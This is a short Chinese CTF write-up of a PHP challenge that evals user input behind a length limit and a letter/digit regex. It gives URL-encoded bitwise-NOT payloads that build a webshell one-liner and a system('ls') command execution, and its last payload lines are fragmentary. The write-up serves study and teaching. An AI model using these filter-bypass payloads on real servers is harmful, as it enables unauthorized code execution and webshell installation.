记录一道代码执行题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function getPos()
{
@include 'find.php';
echo $findflag;
} ?>

<? php
session_start();
if (isset ($_GET['cover'])) {
if ($_GET['cover'] == $_SESSION['cover']) {
echo 'ok';
if (isset($_GET['code'])) {
if (strlen($_GET['code']) > 35) {
echo strlen($_GET['code']);
die("over maxlength!!");
} else {
$code = $_GET['code'];
if (preg_match("/[A-Za-z0-9_.]+/", $code)) {
die("Hacher!!!");
} else {
@eval($code);
}
}
}
} else echo 'Access Deny';
} else {
highlight_file(__FILE__);
} ?>

第一个if刚开始想复杂了,弱比较,其实直接为空就可以绕过了。

然后就是后面的正则匹配了,不能出现字母和数字以及_.,这还是P神的无数字字符的webshell。使用取反绕过

然后可以使用一句话,但是这似乎跟PHP的版本有关系。

?cover=&code=(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%C7%A2%D6%D6);

这里只发现7.0.9版本是可以的。

但是我们为什么执意要搞到shell呢?RCE也很香吧……使用system('ls')

(%8C%86%8C%8B%9A%92)(%93%8C);

其实这里也是可以拿到shell的,不能死死的抓着一个东西不放,还是得换换思路

过滤还是有很多没有进行过滤的,所以我们还可以利用其他没有过滤的字符

一句话:?>&%C7=’ls’;

?>}&%C7=’ls’;